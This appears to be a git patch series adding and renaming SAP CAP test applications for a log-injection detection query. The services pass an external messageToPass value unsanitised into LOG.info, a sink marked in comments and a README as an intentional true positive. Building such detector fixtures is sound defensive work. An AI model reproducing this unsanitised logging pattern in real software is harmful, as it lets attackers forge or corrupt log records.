-const Service1 = await cds.connect.to("Service1");
+const app = require('express')();
 
-cds.once('bootstrap', (app) => {
-    app.serve("/log-injection").from("@advanced-security/log-injection");
-});
-
-Service1.on("Received1", async (msg) => {
-    const { messageToPass } = msg.data;
-    await Service2.send("Received2", { messageToPass });
-});
+cds.serve('all').in(app);
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.cds
index b236d4735..66ceee1c1 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.cds
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.cds
@@ -1,12 +1,12 @@
 using { advanced_security.log_injection.sample_entities as db_schema } from '../db/schema';
 
 @protocol: 'none'
-service Service1 {
-  /* Entity to send READ about. */
+service Service1 @(path: '/service-1') {
+  /* Entity to send READ/GET about. */
   entity Service1Entity as projection on db_schema.Entity1 excluding { Attribute2 }
 
-  /* Async API for Service1 to speak through. */
-  event Received1: {
-    messageToPass : String;
-  }
+  /* API to talk to Service1. */
+  action send1 (
+    messageToPass : String
+  ) returns String;
 }
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js
index ee088f24c..88f05c5f8 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js
@@ -3,9 +3,10 @@ const cds = require("@sap/cds");
 /* Emit a "Received1" event upon receiving a READ request on its entity. */
 module.exports = class Service1 extends cds.ApplicationService {
     init() {
-        this.on("READ", "Entity1/Attribute1", (req) => {
+        this.on("send1", async (req) => {
             const { messageToPass } = req.data;
-            this.emit("Received1", { messageToPass });
+            const Service2 = await cds.connect.to("service-2");
+            Service2.send("send2", { messageToPass });
         });
     }
-}
+};
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.cds
index fe85df509..4d1938ff5 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.cds
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.cds
@@ -1,7 +1,12 @@
+using { advanced_security.log_injection.sample_entities as db_schema } from '../db/schema';
+
 @protocol: 'none'
-service Service2 {
-  /* Async API to talk to Service2. */
-  event Received2: {
-    messageToPass: String;
-  }
+service Service2 @(path: '/service-2') {
+  /* Entity to send READ/GET about. */
+  entity Service2Entity as projection on db_schema.Entity2 excluding { Attribute4 }
+
+  /* API to talk to Service2. */
+  action send2 (
+    messageToPass: String
+  ) returns String;
 }
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js
index bdc33f1d0..3874498a8 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js
@@ -1,9 +1,9 @@
 const cds = require("@sap/cds");
 const LOG = cds.log("logger");
 
-module.exports = cds.service.impl(() => {
-    /* Log upon receiving an "Received2" event. */
-    this.on("Received2", async (msg) => {
+module.exports = cds.service.impl(function() {
+    /* Log upon receiving an "send2" event. */
+    this.on("send2", async (msg) => {
         const { messageToPass } = msg.data;
         /* A log injection sink. */
         LOG.info("Received: ", messageToPass);
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/package.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/package.json
index ed3999ed7..6e66d859d 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/package.json
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/package.json
@@ -1,22 +1,23 @@
 {
-  "name": "@advanced-security/log-injection",
-  "version": "1.0.0",
-  "dependencies": {
-    "@sap/cds": "^7",
-    "express": "^4.17.1"
-  },
-  "scripts": {
-    "start": "cds-serve",
-    "watch": "cds watch"
-  },
-  "cds": {
-    "requires": {
-      "service-1": {
-        "impl": "./srv/service1.js"
-      },
-      "service-2": {
-        "impl": "./srv/service2.js"
-      }
+    "name": "@advanced-security/log-injection",
+    "version": "1.0.0",
+    "dependencies": {
+        "@sap/cds": "^7",
+        "express": "^4.17.1",
+        "@cap-js/sqlite": "*"
+    },
+    "scripts": {
+        "start": "cds-serve",
+        "watch": "cds watch"
+    },
+    "cds": {
+        "requires": {
+            "service-1": {
+                "impl": "srv/service1.js"
+            },
+            "service-2": {
+                "impl": "srv/service2.js"
+            }
+        }
     }
-  }
 }
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/server.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/server.js
index e5bd708f0..dc2ac97ee 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/server.js
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/server.js
@@ -1,12 +1,4 @@
 const cds = require('@sap/cds');
-const Service1 = await cds.connect.to("service-1");
-const Service2 = await cds.connect.to("service-2");
+const app = require('express')();
 
-cds.once('bootstrap', (app) => {
-    app.serve("/log-injection").from("@advanced-security/log-injection");
-});
-
-Service1.on("Received1", async (msg) => {
-    const { messageToPass } = msg.data;
-    await Service2.send("Received2", { messageToPass });
-});
+cds.serve('all').in(app);
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service1.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service1.cds
index b236d4735..66ceee1c1 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service1.cds
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service1.cds
@@ -1,12 +1,12 @@
 using { advanced_security.log_injection.sample_entities as db_schema } from '../db/schema';
 
 @protocol: 'none'
-service Service1 {
-  /* Entity to send READ about. */
+service Service1 @(path: '/service-1') {
+  /* Entity to send READ/GET about. */
   entity Service1Entity as projection on db_schema.Entity1 excluding { Attribute2 }
 
-  /* Async API for Service1 to speak through. */
-  event Received1: {
-    messageToPass : String;
-  }
+  /* API to talk to Service1. */
+  action send1 (
+    messageToPass : String
+  ) returns String;
 }
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service1.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service1.js
index ee088f24c..88f05c5f8 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service1.js
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service1.js
@@ -3,9 +3,10 @@ const cds = require("@sap/cds");
 /* Emit a "Received1" event upon receiving a READ request on its entity. */
 module.exports = class Service1 extends cds.ApplicationService {
     init() {
-        this.on("READ", "Entity1/Attribute1", (req) => {
+        this.on("send1", async (req) => {
             const { messageToPass } = req.data;
-            this.emit("Received1", { messageToPass });
+            const Service2 = await cds.connect.to("service-2");
+            Service2.send("send2", { messageToPass });
         });
     }
-}
+};
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service2.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service2.cds
index 3cfae1f0f..a5963d2ef 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service2.cds
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service2.cds
@@ -1,6 +1,11 @@
-service Service2 {
-  /* Async API to talk to Service2. */
-  event Received2: {
-    messageToPass: String;
-  }
+using { advanced_security.log_injection.sample_entities as db_schema } from '../db/schema';
+
+service Service2 @(path: '/service-2') {
+  /* Entity to send READ/GET about. */
+  entity Service2Entity as projection on db_schema.Entity2 excluding { Attribute4 }
+
+  /* API to talk to Service2. */
+  action send2 (
+    messageToPass: String
+  ) returns String;
 }
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service2.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service2.js
index bdc33f1d0..3874498a8 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service2.js
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service2.js
@@ -1,9 +1,9 @@
 const cds = require("@sap/cds");
 const LOG = cds.log("logger");
 
-module.exports = cds.service.impl(() => {
-    /* Log upon receiving an "Received2" event. */
-    this.on("Received2", async (msg) => {
+module.exports = cds.service.impl(function() {
+    /* Log upon receiving an "send2" event. */
+    this.on("send2", async (msg) => {
         const { messageToPass } = msg.data;
         /* A log injection sink. */
         LOG.info("Received: ", messageToPass);
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/package.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/package.json
index feaa60a89..6e66d859d 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/package.json
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/package.json
@@ -1,12 +1,23 @@
 {
-  "name": "@advanced-security/log-injection",
-  "version": "1.0.0",
-  "dependencies": {
-    "@sap/cds": "^7",
-    "express": "^4.17.1"
-  },
-  "scripts": {
-    "start": "cds-serve",
-    "watch": "cds watch"
-  }
+    "name": "@advanced-security/log-injection",
+    "version": "1.0.0",
+    "dependencies": {
+        "@sap/cds": "^7",
+        "express": "^4.17.1",
+        "@cap-js/sqlite": "*"
+    },
+    "scripts": {
+        "start": "cds-serve",
+        "watch": "cds watch"
+    },
+    "cds": {
+        "requires": {
+            "service-1": {
+                "impl": "srv/service1.js"
+            },
+            "service-2": {
+                "impl": "srv/service2.js"
+            }
+        }
+    }
 }
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/server.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/server.js
index 2f0beac60..dc2ac97ee 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/server.js
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/server.js
@@ -1,11 +1,4 @@
 const cds = require('@sap/cds');
-const Service1 = await cds.connect.to("Service1");
+const app = require('express')();
 
-cds.once('bootstrap', (app) => {
-    app.serve("/log-injection").from("@advanced-security/log-injection");
-});
-
-Service1.on("Received1", async (msg) => {
-    const { messageToPass } = msg.data;
-    await Service2.send("Received2", { messageToPass });
-});
+cds.serve('all').in(app);
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.cds
index d8477454b..34b2e7776 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.cds
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.cds
@@ -1,11 +1,11 @@
 using { advanced_security.log_injection.sample_entities as db_schema } from '../db/schema';
 
-service Service1 {
-  /* Entity to send READ about. */
+service Service1 @(path: '/service-1') {
+  /* Entity to send READ/GET about. */
   entity Service1Entity as projection on db_schema.Entity1 excluding { Attribute2 }
 
-  /* Async API for Service1 to speak through. */
-  event Received1: {
-    messageToPass : String;
-  }
+  /* API to talk to Service1. */
+  action send1 (
+    messageToPass : String
+  ) returns String;
 }
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js
index ee088f24c..88f05c5f8 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js
@@ -3,9 +3,10 @@ const cds = require("@sap/cds");
 /* Emit a "Received1" event upon receiving a READ request on its entity. */
 module.exports = class Service1 extends cds.ApplicationService {
     init() {
-        this.on("READ", "Entity1/Attribute1", (req) => {
+        this.on("send1", async (req) => {
             const { messageToPass } = req.data;
-            this.emit("Received1", { messageToPass });
+            const Service2 = await cds.connect.to("service-2");
+            Service2.send("send2", { messageToPass });
         });
     }
-}
+};
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.cds
index 3cfae1f0f..a5963d2ef 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.cds
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.cds
@@ -1,6 +1,11 @@
-service Service2 {
-  /* Async API to talk to Service2. */
-  event Received2: {
-    messageToPass: String;
-  }
+using { advanced_security.log_injection.sample_entities as db_schema } from '../db/schema';
+
+service Service2 @(path: '/service-2') {
+  /* Entity to send READ/GET about. */
+  entity Service2Entity as projection on db_schema.Entity2 excluding { Attribute4 }
+
+  /* API to talk to Service2. */
+  action send2 (
+    messageToPass: String
+  ) returns String;
 }
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js
index bdc33f1d0..3874498a8 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js
@@ -1,9 +1,9 @@
 const cds = require("@sap/cds");
 const LOG = cds.log("logger");
 
-module.exports = cds.service.impl(() => {
-    /* Log upon receiving an "Received2" event. */
-    this.on("Received2", async (msg) => {
+module.exports = cds.service.impl(function() {
+    /* Log upon receiving an "send2" event. */
+    this.on("send2", async (msg) => {
         const { messageToPass } = msg.data;
         /* A log injection sink. */
         LOG.info("Received: ", messageToPass);

From fabd8c4cdbaa985e84c577f4c4a1e2080b1b6217 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Wed, 28 Feb 2024 15:46:58 -0800
Subject: [PATCH 35/86] Rename existing test case and add new one

- Renamed: log-injection-with-partial-protocol-none -> log-injection-with-service1-protocol-none
- Created: log-injection-with-service2-protocol-none
---
 .../README.md                                 |  0
 .../db/schema.cds                             |  0
 .../db/schema.json                            | 36 ++++++++++
 .../package.json                              |  0
 .../server.js                                 |  0
 .../srv/service1.cds                          |  0
 .../srv/service1.js                           |  0
 .../srv/service1.json                         | 67 +++++++++++++++++++
 .../srv/service2.cds                          |  0
 .../srv/service2.js                           |  0
 .../srv/service2.json                         | 21 ++++++
 .../README.md                                 |  9 +++
 .../db/schema.cds                             | 11 +++
 .../db/schema.json                            | 36 ++++++++++
 .../package.json                              | 23 +++++++
 .../server.js                                 |  4 ++
 .../srv/service1.cds                          | 12 ++++
 .../srv/service1.js                           | 12 ++++
 .../srv/service1.json                         | 67 +++++++++++++++++++
 .../srv/service2.cds                          | 12 ++++
 .../srv/service2.js                           | 11 +++
 .../srv/service2.json                         | 21 ++++++
 22 files changed, 342 insertions(+)
 rename javascript/frameworks/cap/test/queries/loginjection/{log-injection-with-partial-protocol-none => log-injection-with-service1-protocol-none}/README.md (100%)
 rename javascript/frameworks/cap/test/queries/loginjection/{log-injection-with-partial-protocol-none => log-injection-with-service1-protocol-none}/db/schema.cds (100%)
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/db/schema.json
 rename javascript/frameworks/cap/test/queries/loginjection/{log-injection-with-partial-protocol-none => log-injection-with-service1-protocol-none}/package.json (100%)
 rename javascript/frameworks/cap/test/queries/loginjection/{log-injection-with-partial-protocol-none => log-injection-with-service1-protocol-none}/server.js (100%)
 rename javascript/frameworks/cap/test/queries/loginjection/{log-injection-with-partial-protocol-none => log-injection-with-service1-protocol-none}/srv/service1.cds (100%)
 rename javascript/frameworks/cap/test/queries/loginjection/{log-injection-with-partial-protocol-none => log-injection-with-service1-protocol-none}/srv/service1.js (100%)
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.json
 rename javascript/frameworks/cap/test/queries/loginjection/{log-injection-with-partial-protocol-none => log-injection-with-service1-protocol-none}/srv/service2.cds (100%)
 rename javascript/frameworks/cap/test/queries/loginjection/{log-injection-with-partial-protocol-none => log-injection-with-service1-protocol-none}/srv/service2.js (100%)
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.json
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/README.md
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/db/schema.cds
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/db/schema.json
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/package.json
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/server.js
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.cds
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.json
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.cds
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.json

diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/README.md b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/README.md
similarity index 100%
rename from javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/README.md
rename to javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/README.md
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/db/schema.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/db/schema.cds
similarity index 100%
rename from javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/db/schema.cds
rename to javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/db/schema.cds
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/db/schema.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/db/schema.json
new file mode 100644
index 000000000..74f9430e3
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/db/schema.json
@@ -0,0 +1,36 @@
+{
+  "namespace": "advanced_security.log_injection.sample_entities",
+  "definitions": {
+    "advanced_security.log_injection.sample_entities.Entity1": {
+      "kind": "entity",
+      "elements": {
+        "Attribute1": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute2": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    },
+    "advanced_security.log_injection.sample_entities.Entity2": {
+      "kind": "entity",
+      "elements": {
+        "Attribute3": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute4": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    }
+  },
+  "meta": {
+    "creator": "CDS Compiler v4.1.2",
+    "flavor": "inferred"
+  },
+  "$version": "2.0"
+}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/package.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/package.json
similarity index 100%
rename from javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/package.json
rename to javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/package.json
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/server.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/server.js
similarity index 100%
rename from javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/server.js
rename to javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/server.js
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service1.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.cds
similarity index 100%
rename from javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service1.cds
rename to javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.cds
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service1.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js
similarity index 100%
rename from javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service1.js
rename to javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.json
new file mode 100644
index 000000000..6aef472e6
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.json
@@ -0,0 +1,67 @@
+{
+  "definitions": {
+    "Service1": {
+      "@source": "srv/service1.cds",
+      "kind": "service",
+      "@protocol": "none"
+    },
+    "Service1.Service1Entity": {
+      "kind": "entity",
+      "projection": {
+        "from": {
+          "ref": [
+            "advanced_security.log_injection.sample_entities.Entity1"
+          ]
+        },
+        "excluding": [
+          "Attribute2"
+        ]
+      },
+      "elements": {
+        "Attribute1": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    },
+    "Service1.Received1": {
+      "kind": "event",
+      "elements": {
+        "messageToPass": {
+          "type": "cds.String"
+        }
+      }
+    },
+    "advanced_security.log_injection.sample_entities.Entity1": {
+      "kind": "entity",
+      "elements": {
+        "Attribute1": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute2": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    },
+    "advanced_security.log_injection.sample_entities.Entity2": {
+      "kind": "entity",
+      "elements": {
+        "Attribute3": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute4": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    }
+  },
+  "meta": {
+    "creator": "CDS Compiler v4.1.2",
+    "flavor": "inferred"
+  },
+  "$version": "2.0"
+}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service2.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.cds
similarity index 100%
rename from javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service2.cds
rename to javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.cds
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service2.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js
similarity index 100%
rename from javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/srv/service2.js
rename to javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.json
new file mode 100644
index 000000000..f970dd84e
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.json
@@ -0,0 +1,21 @@
+{
+  "definitions": {
+    "Service2": {
+      "@source": "srv/service2.cds",
+      "kind": "service"
+    },
+    "Service2.Received2": {
+      "kind": "event",
+      "elements": {
+        "messageToPass": {
+          "type": "cds.String"
+        }
+      }
+    }
+  },
+  "meta": {
+    "creator": "CDS Compiler v4.1.2",
+    "flavor": "inferred"
+  },
+  "$version": "2.0"
+}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/README.md b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/README.md
new file mode 100644
index 000000000..7ad1607ce
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/README.md
@@ -0,0 +1,9 @@
+# Log Injection PoC
+
+This application demonstrates the possibility of a log injection through communications between several `ApplicationService`s with one dedicated to logging.
+
+The `ApplicationService`s randomly mixes JS class definitions with `cds.service.impl` for diversity.
+
+## It _is_ a true positive case
+
+Service2 is marked as internal, but Service1 still receives and hands over an untrusted value to Service2 from the outside.
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/db/schema.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/db/schema.cds
new file mode 100644
index 000000000..1d4202fb1
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/db/schema.cds
@@ -0,0 +1,11 @@
+namespace advanced_security.log_injection.sample_entities;
+
+entity Entity1 {
+  Attribute1 : String(100);
+  Attribute2 : String(100)
+}
+
+entity Entity2 {
+  Attribute3 : String(100);
+  Attribute4 : String(100)
+}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/db/schema.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/db/schema.json
new file mode 100644
index 000000000..74f9430e3
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/db/schema.json
@@ -0,0 +1,36 @@
+{
+  "namespace": "advanced_security.log_injection.sample_entities",
+  "definitions": {
+    "advanced_security.log_injection.sample_entities.Entity1": {
+      "kind": "entity",
+      "elements": {
+        "Attribute1": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute2": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    },
+    "advanced_security.log_injection.sample_entities.Entity2": {
+      "kind": "entity",
+      "elements": {
+        "Attribute3": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute4": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    }
+  },
+  "meta": {
+    "creator": "CDS Compiler v4.1.2",
+    "flavor": "inferred"
+  },
+  "$version": "2.0"
+}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/package.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/package.json
new file mode 100644
index 000000000..6e66d859d
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/package.json
@@ -0,0 +1,23 @@
+{
+    "name": "@advanced-security/log-injection",
+    "version": "1.0.0",
+    "dependencies": {
+        "@sap/cds": "^7",
+        "express": "^4.17.1",
+        "@cap-js/sqlite": "*"
+    },
+    "scripts": {
+        "start": "cds-serve",
+        "watch": "cds watch"
+    },
+    "cds": {
+        "requires": {
+            "service-1": {
+                "impl": "srv/service1.js"
+            },
+            "service-2": {
+                "impl": "srv/service2.js"
+            }
+        }
+    }
+}
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/server.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/server.js
new file mode 100644
index 000000000..dc2ac97ee
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/server.js
@@ -0,0 +1,4 @@
+const cds = require('@sap/cds');
+const app = require('express')();
+
+cds.serve('all').in(app);
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.cds
new file mode 100644
index 000000000..66ceee1c1
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.cds
@@ -0,0 +1,12 @@
+using { advanced_security.log_injection.sample_entities as db_schema } from '../db/schema';
+
+@protocol: 'none'
+service Service1 @(path: '/service-1') {
+  /* Entity to send READ/GET about. */
+  entity Service1Entity as projection on db_schema.Entity1 excluding { Attribute2 }
+
+  /* API to talk to Service1. */
+  action send1 (
+    messageToPass : String
+  ) returns String;
+}
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js
new file mode 100644
